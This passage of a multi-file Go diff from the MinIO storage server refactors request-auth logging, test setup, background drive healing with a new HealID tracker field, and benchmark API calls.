 	case authTypeSignedV2, authTypePresignedV2:
 		cred, owner, s3Err = getReqAccessKeyV2(r)
 	case authTypeStreamingSigned, authTypePresigned, authTypeSigned:
-		region := globalSite.Region
 		cred, owner, s3Err = getReqAccessKeyV4(r, region, serviceS3)
 	}
 	if s3Err != ErrNone {
 		return s3Err
 	}

-	if cred.AccessKey != "" {
-		logger.GetReqInfo(ctx).AccessKey = cred.AccessKey
-	}
+	logger.GetReqInfo(ctx).Cred = cred
+	logger.GetReqInfo(ctx).Owner = owner
+	logger.GetReqInfo(ctx).Region = region

 	// Do not check for PutObjectRetentionAction permission,
 	// if mode and retain until date are not set.
@@ -21,7 +21,6 @@ import (
 	"bytes"
 	"context"
 	"io"
-	"io/ioutil"
 	"net/http"
 	"net/url"
 	"os"
@@ -32,13 +31,19 @@ import (
 	iampolicy "github.com/minio/pkg/iam/policy"
 )

+type nullReader struct{}
+
+func (r *nullReader) Read(b []byte) (int, error) {
+	return len(b), nil
+}
+
 // Test get request auth type.
 func TestGetRequestAuthType(t *testing.T) {
 	type testCase struct {
 		req   *http.Request
 		authT authType
 	}
-	nopCloser := ioutil.NopCloser(io.LimitReader(&nullReader{}, 1024))
+	nopCloser := io.NopCloser(io.LimitReader(&nullReader{}, 1024))
 	testCases := []testCase{
 		// Test case - 1
 		// Check for generic signature v4 header.
@@ -354,7 +359,10 @@ func mustNewSignedBadMD5Request(method string, urlStr string, contentLength int6

 // Tests is requested authenticated function, tests replies for s3 errors.
 func TestIsReqAuthenticated(t *testing.T) {
-	objLayer, fsDir, err := prepareFS()
+	ctx, cancel := context.WithCancel(GlobalContext)
+	defer cancel()
+
+	objLayer, fsDir, err := prepareFS(ctx)
 	if err != nil {
 		t.Fatal(err)
 	}
@@ -363,10 +371,7 @@ func TestIsReqAuthenticated(t *testing.T) {
 		t.Fatalf("unable initialize config file, %s", err)
 	}

-	initAllSubsystems()
-
-	ctx, cancel := context.WithCancel(context.Background())
-	defer cancel()
+	initAllSubsystems(ctx)

 	initConfigSubsystem(ctx, objLayer)

@@ -400,7 +405,7 @@ func TestIsReqAuthenticated(t *testing.T) {
 	for i, testCase := range testCases {
 		s3Error := isReqAuthenticated(ctx, testCase.req, globalSite.Region, serviceS3)
 		if s3Error != testCase.s3Error {
-			if _, err := ioutil.ReadAll(testCase.req.Body); toAPIErrorCode(ctx, err) != testCase.s3Error {
+			if _, err := io.ReadAll(testCase.req.Body); toAPIErrorCode(ctx, err) != testCase.s3Error {
 				t.Fatalf("Test %d: Unexpected S3 error: want %d - got %d (got after reading request %s)", i, testCase.s3Error, s3Error, toAPIError(ctx, err).Code)
 			}
 		}
@@ -408,7 +413,10 @@ func TestIsReqAuthenticated(t *testing.T) {
 }

 func TestCheckAdminRequestAuthType(t *testing.T) {
-	objLayer, fsDir, err := prepareFS()
+	ctx, cancel := context.WithCancel(context.Background())
+	defer cancel()
+
+	objLayer, fsDir, err := prepareFS(ctx)
 	if err != nil {
 		t.Fatal(err)
 	}
@@ -434,7 +442,6 @@ func TestCheckAdminRequestAuthType(t *testing.T) {
 		{Request: mustNewPresignedV2Request(http.MethodGet, "http://127.0.0.1:9000", 0, nil, t), ErrCode: ErrAccessDenied},
 		{Request: mustNewPresignedRequest(http.MethodGet, "http://127.0.0.1:9000", 0, nil, t), ErrCode: ErrAccessDenied},
 	}
-	ctx := context.Background()
 	for i, testCase := range testCases {
 		if _, s3Error := checkAdminRequestAuth(ctx, testCase.Request, iampolicy.AllAdminActions, globalSite.Region); s3Error != testCase.ErrCode {
 			t.Errorf("Test %d: Unexpected s3error returned wanted %d, got %d", i, testCase.ErrCode, s3Error)
@@ -446,7 +453,7 @@ func TestValidateAdminSignature(t *testing.T) {
 	ctx, cancel := context.WithCancel(context.Background())
 	defer cancel()

-	objLayer, fsDir, err := prepareFS()
+	objLayer, fsDir, err := prepareFS(ctx)
 	if err != nil {
 		t.Fatal(err)
 	}
@@ -456,8 +463,7 @@ func TestValidateAdminSignature(t *testing.T) {
 		t.Fatalf("unable initialize config file, %s", err)
 	}

-	initAllSubsystems()
-
+	initAllSubsystems(ctx)
 	initConfigSubsystem(ctx, objLayer)

 	globalIAMSys.Init(ctx, objLayer, globalEtcdClient, 2*time.Second)
@@ -0,0 +1,32 @@
+// Code generated by "stringer -type=authType -trimprefix=authType auth-handler.go"; DO NOT EDIT.
+
+package cmd
+
+import "strconv"
+
+func _() {
+	// An "invalid array index" compiler error signifies that the constant values have changed.
+	// Re-run the stringer command to generate them again.
+	var x [1]struct{}
+	_ = x[authTypeUnknown-0]
+	_ = x[authTypeAnonymous-1]
+	_ = x[authTypePresigned-2]
+	_ = x[authTypePresignedV2-3]
+	_ = x[authTypePostPolicy-4]
+	_ = x[authTypeStreamingSigned-5]
+	_ = x[authTypeSigned-6]
+	_ = x[authTypeSignedV2-7]
+	_ = x[authTypeJWT-8]
+	_ = x[authTypeSTS-9]
+}
+
+const _authType_name = "UnknownAnonymousPresignedPresignedV2PostPolicyStreamingSignedSignedSignedV2JWTSTS"
+
+var _authType_index = [...]uint8{0, 7, 16, 25, 36, 46, 61, 67, 75, 78, 81}
+
+func (i authType) String() string {
+	if i < 0 || i >= authType(len(_authType_index)-1) {
+		return "authType(" + strconv.FormatInt(int64(i), 10) + ")"
+	}
+	return _authType_name[_authType_index[i]:_authType_index[i+1]]
+}
@@ -21,13 +21,14 @@ import (
 	"context"
 	"runtime"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 )

 // healTask represents what to heal along with options
-//   path: '/' =>  Heal disk formats along with metadata
-//   path: 'bucket/' or '/bucket/' => Heal bucket
-//   path: 'bucket/object' => Heal object
+//
+//	path: '/' =>  Heal disk formats along with metadata
+//	path: 'bucket/' or '/bucket/' => Heal bucket
+//	path: 'bucket/object' => Heal object
 type healTask struct {
 	bucket    string
 	object    string
@@ -49,10 +50,10 @@ type healRoutine struct {
 	workers int
 }

-func systemIO() int {
+func activeListeners() int {
 	// Bucket notification and http trace are not costly, it is okay to ignore them
 	// while counting the number of concurrent connections
-	return int(globalHTTPListen.NumSubscribers()) + int(globalTrace.NumSubscribers())
+	return int(globalHTTPListen.Subscribers()) + int(globalTrace.Subscribers())
 }

 func waitForLowHTTPReq() {
@@ -61,7 +62,7 @@ func waitForLowHTTPReq() {
 		currentIO = httpServer.GetRequestCount
 	}

-	globalHealConfig.Wait(currentIO, systemIO)
+	globalHealConfig.Wait(currentIO, activeListeners)
 }

 func initBackgroundHealing(ctx context.Context, objAPI ObjectLayer) {
@@ -87,8 +88,7 @@ func (h *healRoutine) AddWorker(ctx context.Context, objAPI ObjectLayer) {
 			var err error
 			switch task.bucket {
 			case nopHeal:
-				task.respCh <- healResult{err: errSkipFile}
-				continue
+				err = errSkipFile
 			case SlashSeparator:
 				res, err = healDiskFormat(ctx, objAPI, task.opts)
 			default:
@@ -99,7 +99,10 @@ func (h *healRoutine) AddWorker(ctx context.Context, objAPI ObjectLayer) {
 				}
 			}

-			task.respCh <- healResult{result: res, err: err}
+			if task.respCh != nil {
+				task.respCh <- healResult{result: res, err: err}
+			}
+
 		case <-ctx.Done():
 			return
 		}
@@ -26,15 +26,12 @@ import (
 	"os"
 	"sort"
 	"strings"
-	"sync"
 	"time"

 	"github.com/dustin/go-humanize"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio-go/v7/pkg/set"
-	"github.com/minio/minio/internal/color"
 	"github.com/minio/minio/internal/logger"
-	"github.com/minio/pkg/console"
 )

 const (
@@ -82,6 +79,10 @@ type healingTracker struct {

 	// Filled during heal.
 	HealedBuckets []string
+
+	// ID of the current healing operation
+	HealID string
+
 	// Add future tracking capabilities
 	// Be sure that they are included in toHealingDisk
 }
@@ -90,14 +91,14 @@ type healingTracker struct {
 // The disk ID will be validated against the loaded one.
 func loadHealingTracker(ctx context.Context, disk StorageAPI) (*healingTracker, error) {
 	if disk == nil {
-		return nil, errors.New("loadHealingTracker: nil disk given")
+		return nil, errors.New("loadHealingTracker: nil drive given")
 	}
 	diskID, err := disk.GetDiskID()
 	if err != nil {
 		return nil, err
 	}
 	b, err := disk.ReadAll(ctx, minioMetaBucket,
-		pathJoin(bucketMetaPrefix, slashSeparator, healingTrackerFilename))
+		pathJoin(bucketMetaPrefix, healingTrackerFilename))
 	if err != nil {
 		return nil, err
 	}
@@ -107,7 +108,7 @@ func loadHealingTracker(ctx context.Context, disk StorageAPI) (*healingTracker,
 		return nil, err
 	}
 	if h.ID != diskID && h.ID != "" {
-		return nil, fmt.Errorf("loadHealingTracker: disk id mismatch expected %s, got %s", h.ID, diskID)
+		return nil, fmt.Errorf("loadHealingTracker: drive id mismatch expected %s, got %s", h.ID, diskID)
 	}
 	h.disk = disk
 	h.ID = diskID
@@ -115,11 +116,12 @@ func loadHealingTracker(ctx context.Context, disk StorageAPI) (*healingTracker,
 }

 // newHealingTracker will create a new healing tracker for the disk.
-func newHealingTracker(disk StorageAPI) *healingTracker {
+func newHealingTracker(disk StorageAPI, healID string) *healingTracker {
 	diskID, _ := disk.GetDiskID()
 	h := healingTracker{
 		disk:     disk,
 		ID:       diskID,
+		HealID:   healID,
 		Path:     disk.String(),
 		Endpoint: disk.Endpoint().String(),
 		Started:  time.Now().UTC(),
@@ -132,7 +134,7 @@ func newHealingTracker(disk StorageAPI) *healingTracker {
 // If the tracker has been deleted an error is returned.
 func (h *healingTracker) update(ctx context.Context) error {
 	if h.disk.Healing() == nil {
-		return fmt.Errorf("healingTracker: disk %q is not marked as healing", h.ID)
+		return fmt.Errorf("healingTracker: drive %q is not marked as healing", h.ID)
 	}
 	if h.ID == "" || h.PoolIndex < 0 || h.SetIndex < 0 || h.DiskIndex < 0 {
 		h.ID, _ = h.disk.GetDiskID()
@@ -158,15 +160,19 @@ func (h *healingTracker) save(ctx context.Context) error {
 	}
 	globalBackgroundHealState.updateHealStatus(h)
 	return h.disk.WriteAll(ctx, minioMetaBucket,
-		pathJoin(bucketMetaPrefix, slashSeparator, healingTrackerFilename),
+		pathJoin(bucketMetaPrefix, healingTrackerFilename),
 		htrackerBytes)
 }

 // delete the tracker on disk.
 func (h *healingTracker) delete(ctx context.Context) error {
 	return h.disk.Delete(ctx, minioMetaBucket,
-		pathJoin(bucketMetaPrefix, slashSeparator, healingTrackerFilename),
-		false)
+		pathJoin(bucketMetaPrefix, healingTrackerFilename),
+		DeleteOptions{
+			Recursive: false,
+			Force:     false,
+		},
+	)
 }

 func (h *healingTracker) isHealed(bucket string) bool {
@@ -226,6 +232,7 @@ func (h *healingTracker) printTo(writer io.Writer) {
 func (h *healingTracker) toHealingDisk() madmin.HealingDisk {
 	return madmin.HealingDisk{
 		ID:                h.ID,
+		HealID:            h.HealID,
 		Endpoint:          h.Endpoint,
 		PoolIndex:         h.PoolIndex,
 		SetIndex:          h.SetIndex,
@@ -258,26 +265,9 @@ func initAutoHeal(ctx context.Context, objAPI ObjectLayer) {

 	initBackgroundHealing(ctx, objAPI) // start quick background healing

-	bgSeq := mustGetHealSequence(ctx)
-
 	globalBackgroundHealState.pushHealLocalDisks(getLocalDisksToHeal()...)

-	if drivesToHeal := globalBackgroundHealState.healDriveCount(); drivesToHeal > 0 {
-		logger.Info(fmt.Sprintf("Found drives to heal %d, waiting until %s to heal the content - use 'mc admin heal alias/ --verbose' to check the status",
-			drivesToHeal, defaultMonitorNewDiskInterval))
-
-		// Heal any disk format and metadata early, if possible.
-		// Start with format healing
-		if err := bgSeq.healDiskFormat(); err != nil {
-			if newObjectLayerFn() != nil {
-				// log only in situations, when object layer
-				// has fully initialized.
-				logger.LogIf(bgSeq.ctx, err)
-			}
-		}
-	}
-
-	go monitorLocalDisksAndHeal(ctx, z, bgSeq)
+	go monitorLocalDisksAndHeal(ctx, z)
 }

 func getLocalDisksToHeal() (disksToHeal Endpoints) {
@@ -299,10 +289,131 @@ func getLocalDisksToHeal() (disksToHeal Endpoints) {
 	return disksToHeal
 }

+var newDiskHealingTimeout = newDynamicTimeout(30*time.Second, 10*time.Second)
+
+func healFreshDisk(ctx context.Context, z *erasureServerPools, endpoint Endpoint) error {
+	disk, format, err := connectEndpoint(endpoint)
+	if err != nil {
+		return fmt.Errorf("Error: %w, %s", err, endpoint)
+	}
+	defer disk.Close()
+	poolIdx := globalEndpoints.GetLocalPoolIdx(disk.Endpoint())
+	if poolIdx < 0 {
+		return fmt.Errorf("unexpected pool index (%d) found in %s", poolIdx, disk.Endpoint())
+	}
+
+	// Calculate the set index where the current endpoint belongs
+	z.serverPools[poolIdx].erasureDisksMu.RLock()
+	setIdx, _, err := findDiskIndex(z.serverPools[poolIdx].format, format)
+	z.serverPools[poolIdx].erasureDisksMu.RUnlock()
+	if err != nil {
+		return err
+	}
+	if setIdx < 0 {
+		return fmt.Errorf("unexpected set index (%d) found in %s", setIdx, disk.Endpoint())
+	}
+
+	// Prevent parallel erasure set healing
+	locker := z.NewNSLock(minioMetaBucket, fmt.Sprintf("new-drive-healing/%d/%d", poolIdx, setIdx))
+	lkctx, err := locker.GetLock(ctx, newDiskHealingTimeout)
+	if err != nil {
+		return err
+	}
+	ctx = lkctx.Context()
+	defer locker.Unlock(lkctx)
+
+	// Load healing tracker in this disk
+	tracker, err := loadHealingTracker(ctx, disk)
+	if err != nil {
+		// A healing track can be not found when another disk in the same
+		// erasure set and same healing-id successfully finished healing.
+		if err == errFileNotFound {
+			return nil
+		}
+		logger.LogIf(ctx, fmt.Errorf("Unable to load a healing tracker on '%s': %w", disk, err))
+		tracker = newHealingTracker(disk, mustGetUUID())
+	}
+
+	logger.Info(fmt.Sprintf("Proceeding to heal '%s' - 'mc admin heal alias/ --verbose' to check the status.", endpoint))
+
+	buckets, _ := z.ListBuckets(ctx, BucketOptions{})
+	// Buckets data are dispersed in multiple zones/sets, make
+	// sure to heal all bucket metadata configuration.
+	buckets = append(buckets, BucketInfo{
+		Name: pathJoin(minioMetaBucket, minioConfigPrefix),
+	}, BucketInfo{
+		Name: pathJoin(minioMetaBucket, bucketMetaPrefix),
+	})
+
+	// Heal latest buckets first.
+	sort.Slice(buckets, func(i, j int) bool {
+		a, b := strings.HasPrefix(buckets[i].Name, minioMetaBucket), strings.HasPrefix(buckets[j].Name, minioMetaBucket)
+		if a != b {
+			return a
+		}
+		return buckets[i].Created.After(buckets[j].Created)
+	})
+
+	if serverDebugLog {
+		logger.Info("Healing drive '%v' on %s pool", disk, humanize.Ordinal(poolIdx+1))
+	}
+
+	// Load bucket totals
+	cache := dataUsageCache{}
+	if err := cache.load(ctx, z.serverPools[poolIdx].sets[setIdx], dataUsageCacheName); err == nil {
+		dataUsageInfo := cache.dui(dataUsageRoot, nil)
+		tracker.ObjectsTotalCount = dataUsageInfo.ObjectsTotalCount
+		tracker.ObjectsTotalSize = dataUsageInfo.ObjectsTotalSize
+	}
+
+	tracker.PoolIndex, tracker.SetIndex, tracker.DiskIndex = disk.GetDiskLoc()
+	tracker.setQueuedBuckets(buckets)
+	if err := tracker.save(ctx); err != nil {
+		return err
+	}
+
+	// Start or resume healing of this erasure set
+	if err = z.serverPools[poolIdx].sets[setIdx].healErasureSet(ctx, tracker.QueuedBuckets, tracker); err != nil {
+		return err
+	}
+
+	if tracker.ItemsFailed > 0 {
+		logger.Info("Healing drive '%s' failed (healed: %d, failed: %d).", disk, tracker.ItemsHealed, tracker.ItemsFailed)
+	} else {
+		logger.Info("Healing drive '%s' complete (healed: %d, failed: %d).", disk, tracker.ItemsHealed, tracker.ItemsFailed)
+	}
+
+	if serverDebugLog {
+		tracker.printTo(os.Stdout)
+		logger.Info("\n")
+	}
+
+	if tracker.HealID == "" { // HealID is empty only before Feb 2023
+		logger.LogIf(ctx, tracker.delete(ctx))
+		return nil
+	}
+
+	// Remove .healing.bin from all disks with similar heal-id
+	for _, disk := range z.serverPools[poolIdx].sets[setIdx].getDisks() {
+		t, err := loadHealingTracker(ctx, disk)
+		if err != nil {
+			if err != errFileNotFound {
+				logger.LogIf(ctx, err)
+			}
+			continue
+		}
+		if t.HealID == tracker.HealID {
+			t.delete(ctx)
+		}
+	}
+
+	return nil
+}
+
 // monitorLocalDisksAndHeal - ensures that detected new disks are healed
 //  1. Only the concerned erasure set will be listed and healed
 //  2. Only the node hosting the disk is responsible to perform the heal
-func monitorLocalDisksAndHeal(ctx context.Context, z *erasureServerPools, bgSeq *healSequence) {
+func monitorLocalDisksAndHeal(ctx context.Context, z *erasureServerPools) {
 	// Perform automatic disk healing when a disk is replaced locally.
 	diskCheckTimer := time.NewTimer(defaultMonitorNewDiskInterval)
 	defer diskCheckTimer.Stop()
@@ -312,139 +423,35 @@ func monitorLocalDisksAndHeal(ctx context.Context, z *erasureServerPools, bgSeq
 		case <-ctx.Done():
 			return
 		case <-diskCheckTimer.C:
-			var erasureSetInPoolDisksToHeal []map[int][]StorageAPI
-
 			healDisks := globalBackgroundHealState.getHealLocalDiskEndpoints()
-			if len(healDisks) > 0 {
-				// Reformat disks
-				bgSeq.queueHealTask(healSource{bucket: SlashSeparator}, madmin.HealItemMetadata)
-
-				// Ensure that reformatting disks is finished
-				bgSeq.queueHealTask(healSource{bucket: nopHeal}, madmin.HealItemMetadata)
-
-				logger.Info(fmt.Sprintf("Found drives to heal %d, proceeding to heal - 'mc admin heal alias/ --verbose' to check the status.",
-					len(healDisks)))
-
-				erasureSetInPoolDisksToHeal = make([]map[int][]StorageAPI, len(z.serverPools))
-				for i := range z.serverPools {
-					erasureSetInPoolDisksToHeal[i] = map[int][]StorageAPI{}
-				}
+			if len(healDisks) == 0 {
+				// Reset for next interval.
+				diskCheckTimer.Reset(defaultMonitorNewDiskInterval)
+				continue
 			}

-			if serverDebugLog && len(healDisks) > 0 {
-				console.Debugf(color.Green("healDisk:")+" disk check timer fired, attempting to heal %d drives\n", len(healDisks))
+			// Reformat disks immediately
+			_, err := z.HealFormat(context.Background(), false)
+			if err != nil && !errors.Is(err, errNoHealRequired) {
+				logger.LogIf(ctx, err)
+				// Reset for next interval.
+				diskCheckTimer.Reset(defaultMonitorNewDiskInterval)
+				continue
 			}

-			// heal only if new disks found.
-			for _, endpoint := range healDisks {
-				disk, format, err := connectEndpoint(endpoint)
-				if err != nil {
-					printEndpointError(endpoint, err, true)
-					continue
-				}
-
-				poolIdx := globalEndpoints.GetLocalPoolIdx(disk.Endpoint())
-				if poolIdx < 0 {
-					continue
-				}
-
-				// Calculate the set index where the current endpoint belongs
-				z.serverPools[poolIdx].erasureDisksMu.RLock()
-				// Protect reading reference format.
-				setIndex, _, err := findDiskIndex(z.serverPools[poolIdx].format, format)
-				z.serverPools[poolIdx].erasureDisksMu.RUnlock()
-				if err != nil {
-					printEndpointError(endpoint, err, false)
-					continue
-				}
-
-				erasureSetInPoolDisksToHeal[poolIdx][setIndex] = append(erasureSetInPoolDisksToHeal[poolIdx][setIndex], disk)
-			}
-
-			buckets, _ := z.ListBuckets(ctx)
-
-			// Buckets data are dispersed in multiple zones/sets, make
-			// sure to heal all bucket metadata configuration.
-			buckets = append(buckets, BucketInfo{
-				Name: pathJoin(minioMetaBucket, minioConfigPrefix),
-			}, BucketInfo{
-				Name: pathJoin(minioMetaBucket, bucketMetaPrefix),
-			})
-
-			// Heal latest buckets first.
-			sort.Slice(buckets, func(i, j int) bool {
-				a, b := strings.HasPrefix(buckets[i].Name, minioMetaBucket), strings.HasPrefix(buckets[j].Name, minioMetaBucket)
-				if a != b {
-					return a
-				}
-				return buckets[i].Created.After(buckets[j].Created)
-			})
-
-			// TODO(klauspost): This will block until all heals are done,
-			// in the future this should be able to start healing other sets at once.
-			var wg sync.WaitGroup
-			for i, setMap := range erasureSetInPoolDisksToHeal {
-				i := i
-				for setIndex, disks := range setMap {
-					if len(disks) == 0 {
-						continue
+			for _, disk := range healDisks {
+				go func(disk Endpoint) {
+					globalBackgroundHealState.setDiskHealingStatus(disk, true)
+					err := healFreshDisk(ctx, z, disk)
+					if err != nil {
+						globalBackgroundHealState.setDiskHealingStatus(disk, false)
+						printEndpointError(disk, err, false)
+						return
 					}
-					wg.Add(1)
-					go func(setIndex int, disks []StorageAPI) {
-						defer wg.Done()
-						for _, disk := range disks {
-							if serverDebugLog {
-								logger.Info("Healing disk '%v' on %s pool", disk, humanize.Ordinal(i+1))
-							}
-
-							// So someone changed the drives underneath, healing tracker missing.
-							tracker, err := loadHealingTracker(ctx, disk)
-							if err != nil {
-								logger.LogIf(ctx, fmt.Errorf("Healing tracker missing on '%s', disk was swapped again on %s pool: %w",
-									disk, humanize.Ordinal(i+1), err))
-								tracker = newHealingTracker(disk)
-							}
-
-							// Load bucket totals
-							cache := dataUsageCache{}
-							if err := cache.load(ctx, z.serverPools[i].sets[setIndex], dataUsageCacheName); err == nil {
-								dataUsageInfo := cache.dui(dataUsageRoot, nil)
-								tracker.ObjectsTotalCount = dataUsageInfo.ObjectsTotalCount
-								tracker.ObjectsTotalSize = dataUsageInfo.ObjectsTotalSize
-							}
-
-							tracker.PoolIndex, tracker.SetIndex, tracker.DiskIndex = disk.GetDiskLoc()
-							tracker.setQueuedBuckets(buckets)
-							if err := tracker.save(ctx); err != nil {
-								logger.LogIf(ctx, err)
-								// Unable to write healing tracker, permission denied or some
-								// other unexpected error occurred. Proceed to look for new
-								// disks to be healed again, we cannot proceed further.
-								return
-							}
-
-							err = z.serverPools[i].sets[setIndex].healErasureSet(ctx, tracker.QueuedBuckets, tracker)
-							if err != nil {
-								logger.LogIf(ctx, err)
-								continue
-							}
-
-							if serverDebugLog {
-								logger.Info("Healing disk '%s' on %s pool, %s set complete", disk,
-									humanize.Ordinal(i+1), humanize.Ordinal(setIndex+1))
-								logger.Info("Summary:\n")
-								tracker.printTo(os.Stdout)
-								logger.Info("\n")
-							}
-							logger.LogIf(ctx, tracker.delete(ctx))
-
-							// Only upon success pop the healed disk.
-							globalBackgroundHealState.popHealLocalDisks(disk.Endpoint())
-						}
-					}(setIndex, disks)
-				}
+					// Only upon success pop the healed disk.
+					globalBackgroundHealState.popHealLocalDisks(disk)
+				}(disk)
 			}
-			wg.Wait()

 			// Reset for next interval.
 			diskCheckTimer.Reset(defaultMonitorNewDiskInterval)
@@ -182,6 +182,12 @@ func (z *healingTracker) DecodeMsg(dc *msgp.Reader) (err error) {
 					return
 				}
 			}
+		case "HealID":
+			z.HealID, err = dc.ReadString()
+			if err != nil {
+				err = msgp.WrapError(err, "HealID")
+				return
+			}
 		default:
 			err = dc.Skip()
 			if err != nil {
@@ -195,9 +201,9 @@ func (z *healingTracker) DecodeMsg(dc *msgp.Reader) (err error) {

 // EncodeMsg implements msgp.Encodable
 func (z *healingTracker) EncodeMsg(en *msgp.Writer) (err error) {
-	// map header, size 22
+	// map header, size 23
 	// write "ID"
-	err = en.Append(0xde, 0x0, 0x16, 0xa2, 0x49, 0x44)
+	err = en.Append(0xde, 0x0, 0x17, 0xa2, 0x49, 0x44)
 	if err != nil {
 		return
 	}
@@ -430,15 +436,25 @@ func (z *healingTracker) EncodeMsg(en *msgp.Writer) (err error) {
 			return
 		}
 	}
+	// write "HealID"
+	err = en.Append(0xa6, 0x48, 0x65, 0x61, 0x6c, 0x49, 0x44)
+	if err != nil {
+		return
+	}
+	err = en.WriteString(z.HealID)
+	if err != nil {
+		err = msgp.WrapError(err, "HealID")
+		return
+	}
 	return
 }

 // MarshalMsg implements msgp.Marshaler
 func (z *healingTracker) MarshalMsg(b []byte) (o []byte, err error) {
 	o = msgp.Require(b, z.Msgsize())
-	// map header, size 22
+	// map header, size 23
 	// string "ID"
-	o = append(o, 0xde, 0x0, 0x16, 0xa2, 0x49, 0x44)
+	o = append(o, 0xde, 0x0, 0x17, 0xa2, 0x49, 0x44)
 	o = msgp.AppendString(o, z.ID)
 	// string "PoolIndex"
 	o = append(o, 0xa9, 0x50, 0x6f, 0x6f, 0x6c, 0x49, 0x6e, 0x64, 0x65, 0x78)
@@ -509,6 +525,9 @@ func (z *healingTracker) MarshalMsg(b []byte) (o []byte, err error) {
 	for za0002 := range z.HealedBuckets {
 		o = msgp.AppendString(o, z.HealedBuckets[za0002])
 	}
+	// string "HealID"
+	o = append(o, 0xa6, 0x48, 0x65, 0x61, 0x6c, 0x49, 0x44)
+	o = msgp.AppendString(o, z.HealID)
 	return
 }

@@ -688,6 +707,12 @@ func (z *healingTracker) UnmarshalMsg(bts []byte) (o []byte, err error) {
 					return
 				}
 			}
+		case "HealID":
+			z.HealID, bts, err = msgp.ReadStringBytes(bts)
+			if err != nil {
+				err = msgp.WrapError(err, "HealID")
+				return
+			}
 		default:
 			bts, err = msgp.Skip(bts)
 			if err != nil {
@@ -710,5 +735,6 @@ func (z *healingTracker) Msgsize() (s int) {
 	for za0002 := range z.HealedBuckets {
 		s += msgp.StringPrefixSize + len(z.HealedBuckets[za0002])
 	}
+	s += 7 + msgp.StringPrefixSize + len(z.HealID)
 	return
 }
@@ -0,0 +1,23 @@
+// Code generated by "stringer -type=batchReplicationMetric -trimprefix=batchReplicationMetric batch-handlers.go"; DO NOT EDIT.
+
+package cmd
+
+import "strconv"
+
+func _() {
+	// An "invalid array index" compiler error signifies that the constant values have changed.
+	// Re-run the stringer command to generate them again.
+	var x [1]struct{}
+	_ = x[batchReplicationMetricObject-0]
+}
+
+const _batchReplicationMetric_name = "Object"
+
+var _batchReplicationMetric_index = [...]uint8{0, 6}
+
+func (i batchReplicationMetric) String() string {
+	if i >= batchReplicationMetric(len(_batchReplicationMetric_index)-1) {
+		return "batchReplicationMetric(" + strconv.FormatInt(int64(i), 10) + ")"
+	}
+	return _batchReplicationMetric_name[_batchReplicationMetric_index[i]:_batchReplicationMetric_index[i+1]]
+}
@@ -25,7 +25,7 @@ import (
 	"strconv"
 	"testing"

-	humanize "github.com/dustin/go-humanize"
+	"github.com/dustin/go-humanize"
 )

 // Benchmark utility functions for ObjectLayer.PutObject().
@@ -35,7 +35,7 @@ func runPutObjectBenchmark(b *testing.B, obj ObjectLayer, objSize int) {
 	// obtains random bucket name.
 	bucket := getRandomBucketName()
 	// create bucket.
-	err = obj.MakeBucketWithLocation(context.Background(), bucket, BucketOptions{})
+	err = obj.MakeBucket(context.Background(), bucket, MakeBucketOptions{})
 	if err != nil {
 		b.Fatal(err)
 	}
@@ -76,7 +76,7 @@ func runPutObjectPartBenchmark(b *testing.B, obj ObjectLayer, partSize int) {
 	object := getRandomObjectName()

 	// create bucket.
-	err = obj.MakeBucketWithLocation(context.Background(), bucket, BucketOptions{})
+	err = obj.MakeBucket(context.Background(), bucket, MakeBucketOptions{})
 	if err != nil {
 		b.Fatal(err)
 	}
@@ -85,12 +85,12 @@ func runPutObjectPartBenchmark(b *testing.B, obj ObjectLayer, partSize int) {

 	// PutObjectPart returns etag of the object inserted.
 	// etag variable is assigned with that value.
-	var etag, uploadID string
+	var etag string
 	// get text data generated for number of bytes equal to object size.
 	textData := generateBytesData(objSize)
 	// generate md5sum for the generated data.
 	// md5sum of the data to written is required as input for NewMultipartUpload.
-	uploadID, err = obj.NewMultipartUpload(context.Background(), bucket, object, ObjectOptions{})
+	res, err := obj.NewMultipartUpload(context.Background(), bucket, object, ObjectOptions{})
 	if err != nil {
 		b.Fatal(err)
 	}
@@ -113,7 +113,7 @@ func runPutObjectPartBenchmark(b *testing.B, obj ObjectLayer, partSize int) {
 			}
 			md5hex := getMD5Hash(textPartData)
 			var partInfo PartInfo
-			partInfo, err = obj.PutObjectPart(context.Background(), bucket, object, uploadID, j,
+			partInfo, err = obj.PutObjectPart(context.Background(), bucket, object, res.UploadID, j,
 				mustGetPutObjReader(b, bytes.NewReader(textPartData), int64(len(textPartData)), md5hex, sha256hex), ObjectOptions{})
 			if err != nil {
 				b.Fatal(err)
@@ -196,7 +196,7 @@ func runPutObjectBenchmarkParallel(b *testing.B, obj ObjectLayer, objSize int) {
 	// obtains random bucket name.
 	bucket := getRandomBucketName()
 	// create bucket.
-	err := obj.MakeBucketWithLocation(context.Background(), bucket, BucketOptions{})
+	err := obj.MakeBucket(context.Background(), bucket, MakeBucketOptions{})
 	if err != nil {
 		b.Fatal(err)
 	}
@@ -24,6 +24,7 @@ import (
 	"fmt"
 	"hash"
 	"io"
+	"strings"
 	"sync"

 	xhttp "github.com/minio/minio/internal/http"
@@ -146,6 +147,16 @@ func (b *streamingBitrotReader) ReadAt(buf []byte, offset int64) (int, error) {
 		// Can never happen unless there are programmer bugs
 		return 0, errUnexpected
 	}
+	ignoredErrs := []error{
+		errDiskNotFound,
+	}
+	if strings.HasPrefix(b.volume, minioMetaBucket) {
+		ignoredErrs = append(ignoredErrs,
+			errFileNotFound,
+			errVolumeNotFound,
+			errFileVersionNotFound,
+		)
+	}
 	if b.rc == nil {
 		// For the first ReadAt() call we need to open the stream for reading.
 		b.currOffset = offset
@@ -153,9 +164,11 @@ func (b *streamingBitrotReader) ReadAt(buf []byte, offset int64) (int, error) {
 		if len(b.data) == 0 && b.tillOffset != streamOffset {
 			b.rc, err = b.disk.ReadFileStream(context.TODO(), b.volume, b.filePath, streamOffset, b.tillOffset-streamOffset)
 			if err != nil {
-				logger.LogIf(GlobalContext,
-					fmt.Errorf("Error(%w) reading erasure shards at (%s: %s/%s), will attempt to reconstruct if we have quorum",
-						err, b.disk, b.volume, b.filePath))
+				if !IsErr(err, ignoredErrs...) {
+					logger.LogIf(GlobalContext,
+						fmt.Errorf("Reading erasure shards at (%s: %s/%s) returned '%w', will attempt to reconstruct if we have quorum",
+							b.disk, b.volume, b.filePath, err))
+				}
 			}
 		} else {
 			b.rc = io.NewSectionReader(bytes.NewReader(b.data), streamOffset, b.tillOffset-streamOffset)
@@ -180,7 +193,7 @@ func (b *streamingBitrotReader) ReadAt(buf []byte, offset int64) (int, error) {
 	b.h.Write(buf)

